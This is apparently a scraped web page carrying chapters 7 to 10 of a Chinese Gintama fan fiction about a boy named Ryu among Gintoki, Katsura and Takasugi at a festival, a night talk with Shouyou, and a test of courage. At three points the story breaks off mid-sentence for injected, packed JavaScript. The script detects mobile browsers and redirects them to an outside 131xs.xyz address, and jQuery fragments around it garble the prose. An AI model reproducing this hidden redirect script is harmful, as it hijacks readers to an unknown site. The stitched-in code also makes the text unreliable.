桂小太郎表情一下子僵硬,“不,那样的话,还是有点……” “那去,人少的地方,不就行了吗?” 深紫短发男孩一瘸一拐走过来,话像是硬生生挤出来的。 从对方还没褪去的冷汗来看,估计是还疼,但光看表情,已经没什么异样了。 深草琉颇为惊讶,看了高杉晋助一眼,重点是裆部那块。 ——不出意料被狠狠瞪了。 “人少的地方?” 深草琉不在意地移开视线,看向对面山崖,附近适合的观景点估计也就那里了,但是,“深山老林里迷路可比在人群里挤成沙丁鱼可怕多了。” 高杉晋助一顿,看他的目光也多了几分挑衅,“谁说一定会迷路的。” 桂小太郎也摇头,“晚上进山很危险的,迷路是其一,出没的野兽是其二,更别说还有猎人的陷阱,为了看烟火冒然进山,风险太大,没有必要。” “那你们说要怎么办?” 直接不去呗,深草琉还没开口,就被人抢了先。 “现在是谈论这些的时候吗?你们这群薄情寡义的家伙,没有一个人在意我的处境吗!!” 银白卷发的男孩面目狰狞,腿都快跑出残影,猛地冲了过来。 他风一般掠过,带着惯性,还顺手拽了个东西。 “咦?” 桂小太郎只觉得眼前一花,原本好好站在眼前的黑发红眸男孩就不见了。 他愕然回头,看见坂田银时独自奔跑的身影旁边,骤然多了一个人影。 “不好,银时把阿琉拽走了!” “这有什么完蛋的,银时不是和那家伙是父子,”高杉晋助不以为意,“被一起追债也是父子间的美好回忆吧。” 桂小太郎面无表情。 “晋助,你真的觉得,被拽走的阿琉,不会迁怒到我们身上吗?” 甩下这句话,他拔腿就跑。 高杉晋助本来想说这有什么可怕的,转念想起来这奇怪的小天人别的不说,打人的时候是真的疼,也是真的狠,万一被记恨上了,恐怕下次训练……他看了看自己隐隐作痛的裆部,啧了一声,一瘸一拐也追了上去。 于是,灯火通明的祭典上,堪称奇观的一幕出现了。 领头的银白卷发小孩,拽着个稍小一点的黑发小孩,一路狂奔。 他们身后追着一群气喘吁吁的大人,嘴里叫嚣着给钱。最后面又跟了一个黑马尾男孩,和一个姿势有点别扭的深紫短发男孩。这两人似乎想叫停前面的大人,但不知为何迟迟没有开口。 一行人就这样浩浩荡荡从山上跑到山下,跑得大汗淋漓、气喘吁吁。 直到—— 咻——! 尖锐的爆鸣自天边响起,嘭——! 盛大璀璨的烟花炸响,映亮了半边山,又快速黯淡。 然后是第二发、第三发……接连不断的流星自下方跃起,化为一刹那炫目至极的火光。 祭典上所有人都为这一刻,短暂驻足。 “呼呼……” 夜晚的田埂笔直安静,如一条长长的单向道,地面泛出莹亮的光,孩子们向着月亮,用黑长的影子勾画未来。 “呼呼……” 银白卷发男孩嘴里喘着粗气,浑身都是热意,汗水一滴一滴从额角滑落,黏腻脸颊。 却紧紧抓着身边黑发男孩的手,一步不停。 深草琉跑得脸颊通红,气都快喘不上来,只能断断续续喊。 “停、停一下。我、我不行、不行了……” “啊?你说什么?” 风吹散声音,坂田银时扭头,大声问他。 烟火炸裂,满目绚烂的色彩中。 猩红眼瞳倒映出一个狼狈的黑发红眸男孩,和后面两个追着的同窗。 像是他拥有的一半世界。 “我说,不行了——!”深草琉憋着一口气,大声回答,“不要——再跑了!” “男人,怎么能说,自己不行!” 好不容易追上来的桂小太郎,正好听见这句,吭哧吭哧就喊了一句。 “什么,男人!”遭受过重创的高杉晋助在最后面,边喘气,边骂,“都是,一群,傻子!有什么好跑的!没人追了!” 那些摊主或许是懒得计较,又或许是累了,早就不再追赶他们。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267647|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你说什么?”坂田银时手搭在耳朵上,“我听不清啊。” 夜风忽然吹大,高杉晋助一开口就吃了一嘴自己的头发,张嘴就呸呸呸个不停。 其他人也好不到哪里去,风大眯眼,一不留神,踩中田埂上一块石头,就歪倒了身子。 也不知道是谁先撞到,亦或者同时。 一个眨眼间,四个人便和被台球打倒的瓶子一样,摔作一团。 “笨蛋银时,你踩到我的手了!” “桂,你先把屁股挪开!” “谁趁机踹了我一脚?!” “是不是有谁放屁了?可恶这种时候居然放生化武器?!” 互相指责的声音乱糟糟,盖过了虫鸣蛙声,变成另类的夜间聒噪。四人折腾好一会,才把自己与同伴拉起来,好端端站着了,只不过此刻的尊荣都有些不堪入目。 上面的高杉晋助和桂小太郎还好,只头发和衣服乱了些,被压在下面又挣扎好一会的深草琉就不太行了。 头发乱糟糟,衣服脏兮兮,脸、手、胳膊不知道怎么都挂了泥,像是只出去打架的小狗。赢不赢不知道,反正打痛快了。 “噗嗤。”坂田银时没忍住,或者说他根本不觉得需要忍,看见儿子倒霉样子的父亲当然有资格笑。 高杉晋助和桂小太郎也背过身,肩膀不断耸动。 深草琉脸色黑了下来,“你们在笑什么?” “就是说啊,有什么好笑的。” 坂田银时清清嗓子咳嗽两声,一副正义凛然的样子,“就算阿琉摔了个狗吃屎,我们也不该嘲笑他,要有长辈的担当……” 没说完的话,消失在砸来的拳头上。 “阿琉你居然又殴打爸爸!爸爸可是在帮你说话。” 根本没被打中的坂田银时捂住自己的脸颊,画风一瞬间变成了少女垂泪,柔弱可怜。 “爸爸个头,我今天就让你知道知道,谁才是爹!” 浑身散发可怕气息的黑发小孩,狞笑一声,举起了拳头。 见势不妙,坂田银时脚底一滑,当即开溜。 深草琉追在后面。 桂小太郎在左边劝导,“哎呀,银时也不是故意的,随便打个三天就算了,不要下手太重啊,不然他就没办法再偷偷拿水浇到你的床铺上,让你以为自己尿床了。” 高杉晋助在右边劝解,“是啊,银时只是顽劣了一点,打完了左边就不要打右边脸了,太对称了,下次在你去厕所的时候他再突然打开门冲出来吓你,你会以为看见弥勒佛了的。” 深草琉的怒气值还没涨起来,坂田银时的牙齿已经咬得咯吱咯吱响,扭头对两位好同窗核善一笑。 “你们还真是‘好心’啊。阿琉你可别被这两个家伙迷惑了,他们……唔唔唔!” 不是话忘了说,而是坂田银时撞上了一堵高墙。 一堵不应该出现在这条路上的墙,又或者说,这根本就不是墙。 “欢迎回来,玩得开心吗?” 在他骤然停滞的视线里,那面墙发出了吉田松阳的声音。 不,这就是吉田松阳本阳啊! ——吾命休矣。 逃家去玩的四人僵立当场,心底齐齐发出了绝望的尖叫。 8. 第 8 章 祭典烟花没看成,但被抓包了个正着。 吉田松阳拎小鸡一样,把深草琉拎起来的时候,他一动都不敢动。 倒不是没法动,而是先前动的坂田银时已经在地里了。 桂小太郎和高杉晋助都识相地认错了,还是没有落得什么好,分别在坂田银时左右占据了新的坑位。 估计下一个就是他了。 深草琉尽量让自己保持一个舒展的状态。 他听坂田银时说,被锤进地面的时候,如果姿势不对,不仅很难出来,还容易抽筋扭到腰。 ……他不太想知道对方怎么知道这种奇怪知识的。 然而,吉田松阳拎着他,路过坂田银时他们面前,又走过院子,迟迟没有要把他放下的意思。 难不成是想在屋子里解决吗? 深草琉咽了口口水,怀疑自己是不是即将尸首分离。 在蒲团落下的时候,他第一时间护住了头,紧紧闭眼。 反派死也不能死得太难看,这是底线! “嗯?你头疼吗?” “诶?” 没有拳头落下来,也没有刀刃开鞘声。 深草琉迟疑着睁眼,从手指缝隙中,看见坐在对面的栗色长发男人平静的神态。 “不是……要教训我吗?”他放下手,屁股不敢坐实。 “为什么?” 吉田松阳仿佛很惊讶,语气和缓,没有一丝生气的迹象,“银时他们组织了这次活动,你是被卷进去的,而且你也没有闯祸对吧。” 深草琉刚要点头,就意识到哪里不对。 “您……怎么知道的?” 讲道理,就算那些没有钱付账的摊主找上门告状,也是第二天的事了,吉田松阳怎么这么快就知道了,还知道他没有闯祸,这简直像是在说…… “因为我一直在你们后面看着。” 果然,吉田松阳异常爽快地承认了。 “作为老师,也作为监护人,如果连自家孩子晚上去了哪里都不知道,也太失职了。” 一直看着? 深草琉打了个哆嗦,低下头,“我……抱歉,没有阻止他们。” 如果不是兴师问罪,他很难理解为什么要叫他单独过来。 然而好像猜错了。 “你不用为此道歉。这不是你的错,银时他不是个坏孩子,只是会做一些坏事,但这也是孩子的特权。至于他欠下的那些钱,我会用他的甜点抵扣的。” 意思是,已经解决了?可是这样的话…… “您叫我来,是有什么事吗?” 绕了一大圈,深草琉终于进入正常的对话节奏,除了问得有些小心,心态上已经冷静了。 “不是什么重要的事。”吉田松阳对他安抚地笑了笑,“只是微不足道的好奇,今天你为什么要答应银时他们一起去祭典?” “不能去吗?” 他不清楚这个世界有没有别的规定,不许随意去祭典什么的。 “不,你误会了。我想问的是……” “——你喜欢这个世界吗?阿琉。” 深草琉一时有些茫然,以为自己听错了,或者误会了。 喜欢世界吗? 这真是个奇怪的问题。哪有人会问喜欢不喜欢自己所处的世界,喜欢能如何,不喜欢又能如何?对于很多人,这都是个没有意义的问题。 大多数人,无论喜欢与否,都无法改变世界。 深草琉抿了抿唇,看吉田松阳好像不会轻易生气的样子,才开口。 “为什么要这么问?” “因为我想,这对你是必要的问题。” “必要的?” “嗯。” 栗色长发的男人望着他,褐色的眼睛像是一轮垂暮的太阳,带着并不刺眼的光亮,平静柔和地照耀。 “你是我们无意中带来这个世界的孩子。虽然银时自称的父亲不可能符合世俗意义上的定义,但从客观角度来看,如果不是他捡回你们,如果不是我放任事态,你或许不会诞生。” 但其实,他总会诞生的。 主角需要他,需要磨难,需要成长,他就会诞生。 深草琉垂下眼睫,没有打断他。 “从这种层面上来说,我们是强行促使你生活在这样的世界上的罪魁祸首。世人常说,孩子诞生之前,是没有选择权的,有选择的是父母。可我想,既然选择让孩子诞生,至少要确保,这是一个能让孩子笑起来的世界。” “所以,让我再问你一遍吧,你喜欢这个世界吗?阿琉。” 吉田松阳的声音并不温和,相反,深草琉本能感觉,对方一旦压下语调,会透出异于常人的冷漠与可怕。 可此时,对方的语气却盖住了那种危险。 他不知道该怎么说,像是一簇绒毛被柔软的风拂过,细微的痒意。 深草琉张了张嘴,又闭上。 他想说喜欢。 不是因为真的喜欢,而是这么说,能少很多麻烦。不必解释为什么不喜欢,不必因为不喜欢延续更多话题,也不必面对吉田松阳可能出现的困扰表情。 只是一句喜欢而已,达成的目标可太多了。 但不知为什么,面对吉田松阳温和的眼睛,他迟迟无法把话说出口。 或许是对老师的信任?又或许是被揍得太惨的阴影,不然就是某种磁场? 试图用所知的一切来解释的深草琉,没有办法阻止这一刻自己想说实话的心。 “我不知道。” 他困惑却不好奇,如第一眼看见世界的婴儿,比起疑问,反而会先接受看见的一切。 “喜欢上一个世界,是什么样的感觉?” 黑发红眸的孩子几乎懵懂地望着这所村塾的老师。 是第一次对老师询问的学生。 吉田松阳凝视他,像要把他这一瞬的表情、语气都记下来一样,迟迟没有开口。 几乎叫深草琉感到疑惑。 才听见了一声轻飘飘的,叹息似的,不像是那个吉田松阳发出的声音。 “或许是遇见重要之物的时刻。” “什么?” “我能给出的答案是,”吉田松阳这回说得清晰而笃定,“喜欢上一个世界,就是你遇见了对你来说,很重要的事物的那一刻。” 像是大人告诉小孩道理时,特有的字面好懂,内里难懂的回答。 至少深草琉只理解了,吉田松阳希望,在这个世界上他能拥有重要的事物。 可这种事,有没有又有什么关系? “我明白了。”他却这么答了。 栗色长发男人定定看了他一会,忽然伸出手,摸了摸他的头。 “果然……还是个孩子啊。”又如此叹息。 怪人。 深草琉腹诽着,不敢说出口。 这个世界奇怪的人那么多,没有必要一一探寻,他的目标非常明确——想方设法磨砺主角。 事后,只有他一人逃脱惩罚一事,被坂田银时他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267648|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念叨了大半个月。 他们不敢当面讲吉田松阳偏心眼,却时不时在深草琉面前长吁短叹,感慨什么年纪小就是好,最受爷爷辈的宠爱之类的,会被吉田松阳锤到地里的话。 深草琉一开始还能无视,后来不胜其烦,追着揍了大半个月,终于叫人闭嘴了。 果然,对反派来说,没什么比强行让主角团闭嘴更快乐! 站在一地的同窗“尸体”之间,神清气爽的深草琉决定,没事就打两顿主角出出气。 以前怎么没想到呢,还有这么简单就能获得快乐的方法,果然是这个世界哪里不对,带得他都有点奇怪了。 嗯,都是世界的错! 惨遭迫害·坂田银时·主角:哔——!哔——!哔——!(言辞激烈被屏蔽) * 在夏日的末尾,深草琉发现了坂田银时第一个称得上弱点的地方。 乡下的村子白天能玩的东西很多,爬树、捉蝉、抽陀螺、踢球、捉迷藏……不胜枚举。晚上能玩的就不多了,一方面是大人们为了省钱,不许长时间点灯,另一方面,小孩子闹了一天,精力到晚上就没剩多少了。 但还是有能玩的东西,比如讲鬼故事。 夏天的鬼故事,与夏天的烟花一样理所当然。 如此提议的桂小太郎,被坂田银时一脚踹飞,连着在地上滚了三圈。 很难说这一下有没有早上报桂小太郎偷吃了他饭团的仇。 “好孩子这个时候就该乖乖睡觉!” 这里最不好的孩子正气凛然,面对两位同窗狐疑的表情,一把将人推到门外,大声道。 “阿琉还是长身体的年纪,你们怎么来打扰他!好了,快回去,再不回去,我要喊松阳老师来了哦。” 俗话说,你的对手最为了解你。 日常和坂田银时打架最多的高杉晋助卡在门口。 坂田银时之前可没说过什么阿琉需要睡眠,这次临时聚在一起,这人前一秒还兴致勃勃,现在这样,实在可疑。 “你不太对劲,难道……” “唰”,门强行关上,差点被门砸到鼻尖,高杉晋助还没开骂,就听见里面人慢悠悠的声音。 “现在——是睡觉时间了哦。再不走,某恐怖教师,要来抓小孩吃了。” 桂小太郎按住正欲反驳的高杉晋助,摇摇头,“走吧。” 高杉晋助皱眉,被勉强带走了。 可桂小太郎可不像是吃了个闭门羹还无所谓的人。他还没问,就听朋友说。 “银时已经露馅了。他想瞒我们,但一定瞒不过阿琉。” “你这么肯定那小子会在意这件事?” 高杉晋助和深草琉相处时间不长,除了感觉对方确实很强,以及人小鬼大外,私下里,却看得出这小鬼的性格多少有点奇怪。 他算不上敏锐,但也是能与神童做朋友的人。 他看得出来,那个不知道是不是天人的小家伙,看他们的眼神一直都是淡漠的。 吃饭也好、休息也好、玩乐也好,即使做一样的事,深草琉总像是一直在观察什么,隐隐散发出与他们隔开一个世界似的气息。 “他会的。” 除坂田银时外,和深草琉相处时间最长的黑发神童点头。 “虽然不知道原因,但他在意银时。” 正如其推测,送走桂小太郎他们,坂田银时还没松口气,就听见背后突然一声幽幽的。 “你身后……好像趴着什么奇怪的东西哦?” 9. 第 9 章 “呃啊——!” 几乎是眨眼间。 坂田银时完成了唰一下展开被子,钻进被子,裹紧自己,瑟瑟发抖的全部动作。 速度之快,甚至只看得清残影。 如果坂田银时平时也这个速度,恐怕打架的胜负就难说了。 深草琉一边想着,一边不可思议地,从这一系列反应里,认知到了主角的弱点。 ——怕鬼。 平日里天不怕地不怕,只怕吉田松阳,又招猫逗狗、惹是生非的坂田银时,居然会怕鬼。 他蹲到那团颤抖不停的被子旁边,歪歪头。 “我听说,吉田松阳是从战场上捡到你的,既然如此,为什么会怕鬼呢?” 战场上到处都是尸体与残肢,血肉模糊的场景并不罕见,即使是心智健全的成年人,看多了也会不寒而栗,噩梦缠身。 在战场上徘徊生存,见证人世最残酷暴力一幕的坂田银时,怎么事到如今,会表现出一副怕鬼的样子? “什么怕!世上不存在那种东西,阿银我这是忽然觉得冷了,只是冷了而已!” 缩在被子里的人,声音倒还是中气十足,如果忽略头都蒙住不敢出来的动作,还真是如其所说的平常了。 深草琉看向院子外郁郁葱葱的树,又看了看自己的短裤薄衣,确定此刻还挂在夏天尾巴上,一点不冷。 于是转身,一把掀了坂田银时的被子。 被子被夺走的瞬间,坂田银时像是失去了壳的螃蟹,软着手脚,却厉声呵斥。 “你,你做什什么!快把被子还给我!” 深草琉居高临下望着他,将被子藏到身后。 “既然不怕,你躲什么?” “什么躲!” 全身上下嘴最硬的银白卷发男孩跳了起来,去拽被子。 “我只是要睡觉了而已!饿了要吃饭,冷了要睡觉,不遵循大自然的规则,小心以后变成隔壁老头那样的臭脸混蛋!” “是吗?” 深草琉也不说信不信,眨了眨眼,露出若有所思的神色,“那你背后那个东西,也要一起睡吗?” 坂田银时浑身一僵,眼珠子都不敢动了,汗水从额头滑落,腿抖得像筛糠。 “背、背后?不可能,你一定是在骗我,背后根本什么都没有!” “没有吗?” 黑发红眸的男孩三步并作两步,绕到他背后,似乎在细细打量,目光有如实质。 坂田银时本来将信将疑,现在却觉得好像真的有什么悄无声息趴在了背上,随着他的呼吸,不断移动身体。 “没、没有对吧!” 他终是撑不住压力,抓狂发问。 “没有哦。” 出乎意料,深草琉回答得很快。 坂田银时反而感觉不对。如果说之前,他还觉得是深草琉故意骗他,现在他背上,好像真的有什么东西,毛刺刺的,在动来动去啊! “你不是说有吗?!现在,怎么说没有?骗人的小孩,晚上可是会尿床的哦!” “我没有看到奇怪的东西。” 深草琉一派镇定,站到了他面前,双手垂落身侧,没有抓任何东西。 坂田银时呼吸一紧,脸色白得和墙一样,他身上的异物感感觉明显了,不是深草琉动手脚,那么,那么……真的……真的是…… “砰”,银白卷发的男孩眼白一翻,倒了下去。 “嗯?” 深草琉蹲下,戳了两下坂田银时的脸颊,没戳醒,他念了几句“吉田松阳来了哦”,也没能把人弄醒。 看来一时半会醒不过来了。 没想到坂田银时这么快就投降了,还这么彻底。看来鬼确实是坂田银时的大弱点。 深草琉伸手,将落在昏迷的银白卷毛衣服领子里的狗尾巴草拿了出来,又随手甩到了窗外。 夜风一吹,就将这吓得人昏迷的“罪魁祸草”带走了。 这一夜,坂田银时睡得并不好,滚来滚去不说,嘴里还时不时冒一句梦话,喊着“走开”、“哇啊啊”之类。 吵得对外界较为灵敏的深草琉睡不着,一把将人塞被子里捆了起来。 但没有安宁多久,对方一脚把被子踹飞,然后继续滚。 滚的动静还不小,深草琉烦得想打人,刚要起身去摸壁橱里的刀,就被抱住了胳膊。 他一时惊愕,还没把人推开,又被进一步搂住了。 软乎温暖的身体紧紧靠过来,眉头皱得紧紧的,手劲又大,抱他也紧紧的。 深草琉挣扎了两下,没能挣开,不仅弄得自己气喘吁吁,还被睡眠中的坂田银时以为他想跑,下意识勒得更紧,差点给他勒到窒息。 可恶的怪力狂! 算了。 深草琉憋红了脸,最终放弃挣扎,闭上了眼睛。 反正等感觉热了,肯定会被松开的,到时候再收拾这个笨蛋。 可说来也是奇怪,盖被子闷了不到一会,坂田银时就会热得踹开。但抱着他这么久,热得他自己都流汗了,可就是迟迟没能感觉到松开的迹象。 小孩子熬不住夜,沉沉的疲惫中,黑发红眸的男孩皱着眉,与抱着他的银白卷发男孩,一同陷入了均匀的呼吸。 坂田银时这一觉睡得很混乱。 前面梦见的东西尽是恶鬼、凶魂,吓得他在梦里不停跑啊跑,跑得腿都要断了,还是没能跑出这些东西的追逐范围。 直到他不小心摔倒,伸手一抱,抱住了一棵小树为止。 这树不大,似乎矮矮的,但不知怎么的,有一种熟悉感。熟悉到,好像曾经有一段时间,他是与其朝夕相处过的。 而这棵树出现开始,那些鬼啊怪啊,忽然就消失了。 虽然太阳很大,晒得他有点热,汗水都冒了出来。但只要和这棵小树在一起,周围就是安全的。他忍下了热意,静静抱住这棵树,在那种沉静的安心里,舒展了眉头。 第二天,坂田银时先一步醒来。 一眨眼,就瞧见了近在咫尺的一张脸。 白皙的脸,带点婴儿肥,黑发凌乱,蹙紧的眉头,与弧度下弯的嘴。 看上去睡得不太好,眼下浮现浅浅的青灰。 以他的年纪,早已学会分辨美丑。第一次见到深草琉,他就感觉,这小天人长得还挺好看的,长大了指不定又会祸害多少大姑娘小媳妇。啧,该打。 现在他们还没长大,又是天天打架的混小子,衣服和人都容易灰扑扑的,时间久了,他都有点习惯深草琉的长相了。 直到今天这么近一看,才把好看这个印象彻底烙印了下来。 说起来,从第一天开始,深草琉就起得比他早。 也不知道那么早起来到底做什么去了,坂田银时的探究欲败给睡眠,也没有多想,听桂小太郎说,有次早上起来,看见对方拎着木刀回来。 大概是偷偷训练去了。 学生时代总有这种人,表面上轻轻松松,实际上背地里偷偷努力,就为了赢过所有人。 可恶的学贼。坂田银时当时啧嘴,连桂小太郎也说了进去。 但努力是不容否认的。 不仅从深草琉双手的茧子,也从那从未输过的战绩。 所以,这还是他第一次,见到早上还没醒的深草琉。 还是被他紧紧抱着,一动都不能动的深草琉。 梦里那棵小树的谜团被解开。 他确实和深草琉朝夕相处过,无论是还在那个蛋里,被他孵化的时候,还是现在,他都和自己养着的小天人待在一起。 养着啊…… 坂田银时一时之间感觉有点奇妙。 以前他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267649|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见同龄的孩子养过小鸡小狗小兔子之类,那些寿命与人类不同的小生物,总是会一下子长大,从可爱的毛茸茸,变成不可爱的毛茸茸。 可爱的时候倒是还好,不少孩子喜欢围过去看。 但一旦过了可爱的年龄,就没多少小孩感兴趣了。唯有养着它们的主人,一面露出无奈的表情,一面继续好好照顾它们。 真是件奇怪的事。明明已经不可爱了,为什么还要对它们那么好? 他甚至见过为了一只完全不可爱的大鹅,和父母大吵一架的人。 身为旁观者,他无法理解。 可是现在,他好像有那么一点点,明白那种怪异的心情了。 “你还要抱到什么时候?” 稚嫩的声音,却刻意压得低沉,生怕旁人听不出其中怒意,从耳边响起。 坂田银时眨眨眼。 “这可是来自爸爸爱的怀抱,你要珍惜才对,不然等你变成满脸胡子的大叔,即使你求爸爸,爸爸也不会抱住你了哦。” “滚。” 对方回以一个单字,一个金蝉脱壳,就从松松垮垮的怀抱中溜了出来。 “下次你睡觉再不安分,我就把你绑到树上吊起来。” 还给出了威胁。 “明明是你先钻到阿银这里,寻求爱的怀抱,现在居然如此绝情……” 坂田银时拢了拢手,一晚上压得有点发麻,甩了两下稍微缓解,做出泫然欲泣的表情,眼还瞥着一脸阴沉的黑发男孩。 对方在整理衣服,看都没看他,嘴角抿得紧紧的。 一看就是烦躁得不行的样子,正常人根本不会去招惹。 他却张口就来,“这么小就老是皱眉,以后会变成臭脸老头子的哦。” 果然,深草琉动作一顿,瞪了过来,脸色还是不好,“闭嘴,我不想被松阳老师问为什么打你。” “什么嘛。”坂田银时缩了缩脖子,嘀咕,“真是不可爱了。” 明明还没有长多大。 又不亲人又不讨人喜欢,还总追着他们打。 但是……他又看了眼黑发红眸的男孩,对方已经简单收拾妥帖,准备去洗漱了。 一晚上睡得乱七八糟的头发,翘起了一撮,高高立在头上,像是个卷曲的问号。 “噗嗤。” 坂田银时刚笑一声,就见到深草琉狐疑的眼神,立刻端正神色,打了两个假喷嚏。 “阿秋、阿秋……我都说最近变冷了嘛。” “……希望你晚上也能这么说。” 深草琉没找出什么破绽,冷着脸走了。 头上的问号还随动作一翘一翘。 坂田银时顿时有种赢了一筹的感觉,心中无限膨胀。 你爸爸还是你爸爸,区区阿琉,根本赢不过我! 这种想法之下,他忽视了那句意味不明的话,也没有在深草琉和桂小太郎他们俩说话时提起警惕。 毕竟整个松下村塾,深草琉好像也只跟他们三个外加一个吉田松阳说说话。 嗯?这是不是不太对,作为小孩子,也太孤僻了。 陷入短暂父母心态,坂田银时没有注意到三人交谈后,脸上一闪而逝的诡异笑容。 种种轻视,导致了悲惨的后果。 当晚,银白卷毛被三人骗到阴森森的野外时,才后知后觉地打了个颤,“为什么……来这里?” 说好一起偷厨房甜点的呢?! 高杉晋助微笑着,挡在他的左边退路。 “你不知道吗?” 桂小太郎同款表情,挡在他的右边退路。 “夏天一定要做的事情之一……” 最后,是黑发男孩挡在背后,抬头对他露出个少见的笑。红宝石一样的眼睛里,是毫不掩饰的恶劣。 “当然是试胆大会!” 10. 第 10 章 没有当场昏倒,是坂田银时的自尊心作祟。 没有当场和三人打个你死我活,是坂田银时的自知之明。 上次一对三的下场,还让他的屁股隐隐作痛。 于是此时此刻,唯一能够派的上用场的办法,只剩下了…… “松阳老师!这里有群半夜不好好睡觉跑出来玩的不听话小孩啊!” 以前所未有的正义姿态,大声呼喊的银白卷发男孩,刚喊了一句,就被三人同时按到在地,脸都抬不起来。 深草琉压着他的嘴,低声道。 “这一招行不通,这里离私塾不算远,但也不近,我劝你还是乖巧一点,好好听话,不然的话……发生什么,我也不能保证哦。” 桂小太郎帮腔,“没错,不要挣扎了银时,我们这可是友好和谐促进友谊的活动,松阳老师不会怪我们的。” 好不容易挣扎出嘴巴,坂田银时斜着死鱼眼。 “这里唯一友好的,只有阿银不会漏风的袜子了!快放开我,你们这是拐卖,是强迫,是违反少年儿童保护法,是要被穷凶极恶的家长委员会找上门的行为!” 他在地上不断扑腾,力气之大,动作之夸张,简直像是一条上了岸,死活不肯进入鱼篓的鱼。 深草琉三人差点压不住他。 “说了这么多,你只是害怕吧。” 高杉晋助作壁上观许久,一击戳中死穴。 躺在地上翻腾的鱼,当即变成了冻得硬邦邦的死鱼,浑身都僵硬了。 深草琉好奇地戳了两下,脸颊倒是软的,身上硬邦邦。 “害怕的话,早点承认比较不会吃苦头哦。” “怕个屁!” 似乎被戳中了痛楚,那条死鱼一瞬间又活过来,生龙活虎地起来,冲到高杉晋助面前,“你不要血口喷人!” 这个世界上比气球更飘忽的,是男性的自尊心。 看似不大,实则一戳就爆。 “是吗?” 极好地担任了吸引仇恨这一职责,高杉晋助露出了似笑非笑的神情,“那你怎么不敢参加试胆大会?” 这是极其低级的挑衅。 低级到被挑衅的人都能明白,这根本是激将法,是毫无关联的论证。 “哈,以为阿银我会轻易上当吗?这种程度的挑衅,我三岁就不理睬了。你还有的学习呢,小少爷。” 高杉晋助盯着他趾高气扬的样子一会,突然瞥了眼旁观的深草琉。 “看来你的判断出错,他不肯承认自己害怕呢。” 怎么说起这个,深草琉不记得之前商议的过程里有这一步,他拧着眉,好似有些不虞地,看向坂田银时。 “你真的不害怕吗?” 如果面对的是其他人也就罢了,坂田银时还能顾左右言其他,但一对上深草琉这个他自诩的好大儿,那股子自尊心与身为父亲的颜面,瞬间就让他给出了斩钉截铁的回答。 “怕什么怕,你是从哪里听来的这回事,这年头外面的骗子太多了,阿琉你可不能轻易相信。” 于是高杉晋助抓住了这一绝佳机会,立马道。 “是吗?你要是被吓得屁滚尿流,可不要说是喝多了水。” “区区试胆,有什么可怕的!” 坂田银时怒视高杉晋助,当即拍板。 等他反应过来自己刚刚不小心答应了什么,高杉晋助正好递了个得意的眼神给深草琉和桂小太郎。 三人眉眼交流间,那股子阴谋气息毫无遮掩。 上当了。 坂田银时牙痒痒,眼珠一转,就打算舍弃节操,“怕是不怕的,但是啊,这个时候,好孩子该回家了,再继续在外游荡,可不是说怕不怕的问题了,松阳老师……” 没等车轱辘话说完,他背后骤然传来两下轻拍。 那力道不大,甚至在这个场合有些过分轻柔了。坂田银时忍不住抖了一下,转头想问。 就见三人居高临下,半张脸笼罩在阴影里,阴恻恻盯着他。 那一双双眼睛里,散发着幽幽的光芒,一字一句,飘忽得仿若来自地狱。 “身为武士,可不能出尔反尔吧。” “与其玷污武士名声,不如在这里,我帮你切腹。” “别担心,一年后会来祭拜你的。” 一把锋利的刀递到面前,三人笑容亲切到诡异,一眨不眨看着他。 坂田银时、坂田银时屈服了。 * “哼,什么试胆大会,不过都是拿来骗人的玩意。第一个想出试胆大会的人,一定是那种想要泡隔壁青梅竹马,但根本一无是处,只能凭借这种无聊手段,假扮什么妖怪啊之类的,吓得她们投怀送抱的垃圾。怎么会有这么无聊的游戏……” “你再不闭嘴,你的袜子就会帮你闭嘴了。” 嘀嘀咕咕了一路的声音,被毫不留情打断。 坂田银时一脸委屈,“阿琉,你的叛逆期还没有好吗?” “是你的妄想症还没好,快点松手!” 深草琉面无表情,扯了一下,没能扯开八爪鱼一样的银白卷毛。对方依旧紧紧攀附在他的胳膊上,像是打算生死不弃。 原本不该是这样的。 在同伴们的威胁下,坂田银时终究还是答应了参加试胆大会。 所谓的试胆大会,一般都是在发生过怪谈或命案的地方进行,阴森恐怖的氛围越浓,越能凸显其试胆的含义。 时间和地点限制,深草琉他们没找什么太稀奇古怪的地方,只找了一片据说曾经有过幽灵的乱葬岗,而且离松下私塾也不远。 自从天人入侵地球,武士们想要赶出入侵者,开始攘夷战争后,充当战场的地方太多,乱葬岗也多了起来。 而这种地方,往往有人宣称看到过生前满怀怨念的鬼魂出没。 不过深草琉不太相信有鬼。 这种外星人入侵的世界观,哪里可能会有鬼呢?如果是那种灵异世界,倒是有可能。 